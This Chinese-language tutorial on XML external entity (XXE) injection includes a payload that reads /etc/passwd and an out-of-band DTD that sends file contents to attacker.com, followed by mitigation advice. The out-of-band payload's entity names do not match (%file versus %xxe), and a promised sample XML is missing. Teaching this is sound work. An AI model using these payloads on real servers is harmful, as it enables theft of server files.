外部实体注入是一种安全漏洞,允许攻击者操纵 Web 应用程序处理 XML 数据的方式。当配置错误的 XML 解析器处理包含对外部资源的引用的 XML 输入时,就会发生攻击。与SQL 注入有点不同,但它确实有一些共同的主题。攻击者通过在 XML 数据中嵌入恶意的内联 DOCTYPE 定义来利用该漏洞。
在本文中,我们将彻底了解 XML 和不同类型的外部实体注入攻击,即正常和带外 XXE 攻击。我们还将介绍怀疑应用程序是否容易受到 XXE 攻击的不同方法,以及我们如何使用外部实体从易受攻击的服务器检索敏感文件的实际示例。
什么是 XML?
XML 旨在传输和存储数据,并将信息与表示分离。我们可以组织我们的信息并准确地理解这些信息是关于使用 XML 的。一个示例 XML 文档如下所示:
XML 没有像 HTML 这样的预定义标签,因此我们使用自己的标签来描述数据或我们拥有的任何信息。在上面的文档中,我们有不同的标签,即书号、书的作者、书名、书的价格、书的出版日期和书的描述。所有这些信息都是人类可读的,当一个普通人阅读它时,他可以很容易地分辨出这些信息是关于什么的。这就是 XML 的设计目的,即以有意义的方式存储和传输信息。它被称为扩展标记语言,这意味着我们可以使用我们想要的名称创建标签,以便尽可能有意义地呈现数据。与拥有自己标签的 HTML 不同,XML 不用于显示它存储的信息,有 Javascript、CSS 和 HTML 来实现该功能
同一树级别下的节点称为兄弟节点。例如,在上述情况下,标签 author、title、genre、description 和 publish_date 位于相同的树级别下,并且具有相同的缩进量。它们是根元素的子元素,即 book_id。这称为 XML 逻辑结构,它进一步组织我们的数据
节点的打开和关闭非常方便,以便轻松浏览显示的信息。存储在 XML 文档中的信息也可以通过 Web 服务传输。
XXE
XXE 是攻击者由于 XML 解析器中的错误配置而利用的漏洞。它是最常见的 XXE 攻击类型,通常用于检索敏感文件甚至获取系统上的反向 shell。XXE 攻击分为三个主要步骤:
- 如果请求中有 XML,则声明一个本地实体
- 引用现有 XML 元素中的实体
- 如果这两个步骤都正常工作,则通过检索敏感文件开始利用过程
XML 允许声明实体,这些实体是对 XML 文档中其他点的引用。外部实体类似于本地实体,只是在外部实体的情况下,我们不是从 XML 文档中引用某些东西,而是引用一些外部的东西。例如,可以使用 URI 方案并且我们引用了一些敏感文件,因此我们可以利用 XML 解析器错误配置来强制应用程序获取文件内容。现在我们将研究以相同的顺序在易受攻击的应用程序上执行上述步骤,以从服务器检索“/etc/passwd”文件。首先,我们会发现 XML 有效负载被设置在购物网站的库存检查功能中。
现在我们尝试声明一个文档类型,在该文档类型中,我们将声明一个实体,即<!DOCTYPE test [ <!ENTITY xxe “test”> ]>
. 让我们看看在我们声明实体xxe 之后会发生什么。
应用程序没有抛出错误。现在我们将引用我们声明的实体,即现有 XML 元素中的 “ xxe” 。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
我们可以看到 XML 解析器处理了我们的 XML,在我们声明恶意“ XXE”实体的地方,它引用了“//etc/passwd”的内容。我们的攻击已经成功,我们已经成功检索到“//etc/passwd ”的内容。
带外 XXE
带外 XXE 攻击与普通 XXE 攻击相似,唯一的区别是攻击者试图向他的受控服务器发出额外的 XXE 请求,这与普通 XXE 攻击不同,后者在同一频段内立即获得响应。如果怀疑,应用程序可能容易受到这些类型的攻击:
- 文档类型声明 (DTD) 标识符中的污染数据。
- Web 应用程序解析 XML 文档
- XML 处理器验证和处理 DTD
带外 XXE 攻击的影响与普通 XXE 攻击相同。
要求:
POST http://targeturl.com/vulnerable
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe[
<!ENTITY % file SYSTEM
"file:///etc/passwd">
<!ENTITY % dtd SYSTEM
"http://attacker.com/malicious.dtd">
%dtd;
]>
<xee>&send;</xee>
攻击者 DTD (attacker.com/malicious.dtd)
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?store=%xxe;'>">
%all;
攻击将按以下步骤进行。
首先将处理“ %xxe”参数实体以加载“//etc/passwd”文件。这样就向“ http://attacker.com/malicious.dtd”发出请求,并处理攻击者的 DTD 文件。%all参数实体将创建一个名为&send的实体,其中包含一个 URL。该 URL 将包含“//etc/passwd ”文件的内容。现在,当构建 URL 时,将处理&send实体向攻击者的服务器发出请求。在他控制的服务器上,攻击者可以成功地从日志条目 中重建“//etc/passwd ”文件。
结论:
XXE 攻击是使用 XML 解析器的 Web 应用程序中最常见的攻击之一。XXE 漏洞可能会产生许多严重影响,带内和带外外部实体注入攻击都可能导致服务器端请求伪造 (SSRF) 等攻击,导致拒绝服务 (DOS) 攻击、敏感文件检索、等等
通过采取一些保护措施,例如禁用使 XML 处理器变弱的功能、分析 Web 应用程序的 XML 解析库以及禁用使应用程序易受攻击的 DTD 和 XML 等外部实体功能,可以在很大程度上减轻 XXE 攻击。
本文由 华域联盟 原创撰写:华域联盟 » 外部实体注入 (XXE)
转载请保留出处和原文链接:https://www.cnhackhy.com/157359.htm